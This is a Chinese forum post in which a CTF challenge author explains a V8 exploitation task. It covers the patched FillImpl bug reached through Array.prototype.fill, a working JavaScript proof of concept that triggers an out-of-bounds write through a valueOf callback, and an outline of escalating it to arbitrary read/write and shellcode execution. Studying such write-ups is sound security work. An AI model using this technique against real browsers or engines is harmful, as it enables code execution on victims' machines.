-
-
[原创]看雪CTF2019Q3 第十二题:精忠报国 题目设计思路
-
2019-9-9 21:56 3097
-
0x00 前言
简单地说这是一个V8的利用题,patch里面先是把d8的一些函数给删掉了,不然你可以直接用read读flag。然后漏洞patch是把FillImpl
函数的用于扩大capacity的代码删除了,这样子的话,当end > capacity
的时候,可以早成OOB写。
0x01 漏洞
漏洞在FillImpl
,可是我们怎么从JavaScript中调用到它并且控制end
和capacity的值呢?这个时候可以找一下cross-reference,或者直接搜索字符串。发现这里调用了FillImpl
:
Object Fill(Handle<JSObject> receiver, Handle<Object> obj_value, uint32_t start, uint32_t end) override { return Subclass::FillImpl(receiver, obj_value, start, end); }
然后,继续搜索这个函数的cross-reference,会发现在builtins-array.cc
的TryFastArrayFill
中使用了他,并且这个函数会被BUILTIN(ArrayPrototypeFill)
所调用。然后很明显这个函数就对应JavaScript中的Array.prototype.fill
。
BUILTIN(ArrayPrototypeFill) { HandleScope scope(isolate); if (isolate->debug_execution_mode() == DebugInfo::kSideEffects) { if (!isolate->debug()->PerformSideEffectCheckForObject(args.receiver())) { return ReadOnlyRoots(isolate).exception(); } } // 1. Let O be ? ToObject(this value). Handle<JSReceiver> receiver; ASSIGN_RETURN_FAILURE_ON_EXCEPTION( isolate, receiver, Object::ToObject(isolate, args.receiver())); // 2. Let len be ? ToLength(? Get(O, "length")). double length; MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION( isolate, length, GetLengthProperty(isolate, receiver)); // 3. Let relativeStart be ? ToInteger(start). // 4. If relativeStart < 0, let k be max((len + relativeStart), 0); // else let k be min(relativeStart, len). Handle<Object> start = args.atOrUndefined(isolate, 2); double start_index; MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION( isolate, start_index, GetRelativeIndex(isolate, length, start, 0)); // 5. If end is undefined, let relativeEnd be len; // else let relativeEnd be ? ToInteger(end). // 6. If relativeEnd < 0, let final be max((len + relativeEnd), 0); // else let final be min(relativeEnd, len). Handle<Object> end = args.atOrUndefined(isolate, 3); double end_index; MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION( isolate, end_index, GetRelativeIndex(isolate, length, end, length)); if (start_index >= end_index) return *receiver; // Ensure indexes are within array bounds DCHECK_LE(0, start_index); DCHECK_LE(start_index, end_index); DCHECK_LE(end_index, length); Handle<Object> value = args.atOrUndefined(isolate, 1); if (TryFastArrayFill(isolate, &args, receiver, value, start_index, end_index)) { return *receiver; } return GenericArrayFill(isolate, receiver, value, start_index, end_index); } V8_WARN_UNUSED_RESULT bool TryFastArrayFill( Isolate* isolate, BuiltinArguments* args, Handle<JSReceiver> receiver, Handle<Object> value, double start_index, double end_index) { // If indices are too large, use generic path since they are stored as // properties, not in the element backing store. if (end_index > kMaxUInt32) return false; if (!receiver->IsJSObject()) return false; if (!EnsureJSArrayWithWritableFastElements(isolate, receiver, args, 1, 1)) { return false; } Handle<JSArray> array = Handle<JSArray>::cast(receiver); // If no argument was provided, we fill the array with 'undefined'. // EnsureJSArrayWith... does not handle that case so we do it here. // TODO(szuend): Pass target elements kind to EnsureJSArrayWith... when // it gets refactored. if (args->length() == 1 && array->GetElementsKind() != PACKED_ELEMENTS) { // Use a short-lived HandleScope to avoid creating several copies of the // elements handle which would cause issues when left-trimming later-on. HandleScope scope(isolate); JSObject::TransitionElementsKind(array, PACKED_ELEMENTS); } DCHECK_LE(start_index, kMaxUInt32); DCHECK_LE(end_index, kMaxUInt32); uint32_t start, end; CHECK(DoubleToUint32IfEqualToSelf(start_index, &start)); CHECK(DoubleToUint32IfEqualToSelf(end_index, &end)); ElementsAccessor* accessor = array->GetElementsAccessor(); accessor->Fill(array, value, start, end); return true; }
总结一下,就是patch的函数是Array.prototype.fill
的底层实现之一,只要我们能够让传进去的end > capacity
,就可以OOB写。end
来自于end_index
,而这个来自于args.atOrUndefined(isolate, 3)
,即JavaScript的参数。
阅读一下这个函数,发现end_index
是从GetRelativeIndex
转换而来,而这个函数永远会保证返回的值小于等于array.length
,这个length其实一定小于等于后面的capacity。咋一看好像触发不了,但是其实是有一个小问题的,就是Object::ToInteger
可以调用JavaScript代码,然后在这个时候可以去收缩array
的长度,这样就可以在FillImpl
里面使得capacity < end
了。
具体PoC:
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } } var arr = [1.1]; for (let i = 0; i < 0x100; i++) { arr.push(i); } arr.fill(1.1, 0, { valueOf : function () { arr.length = 1; gc(); return 0x100; } });
还有一点要注意,因为就算你收缩了arr的长度,实际上这后面能写到的地方也是未被使用的内存,所以我们需要调用一下GC,这样就可以让OOB写到有用的数据了。
0x02 利用
接下来的利用就很常规了,首先通过堆风水,在arr后面分配另一个array,这样可以OOB写它的length,然后这个时候就能拿到一个oobArray
,把OOB写升级成OOB读写。
然后这个oobArray后面也得有一个ArrayBuffer
和一个web assembly function
的地址,这样就能leak,然后任意读写,在RWX页上写shellcode并且执行。
具体exploit在附件
0x03 部署
除了exp.js
以外,其它文件都给出去。然后在服务器上,得有d8
和*.bin
在同一个文件夹,执行就只要执行./d8
就行了。
阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!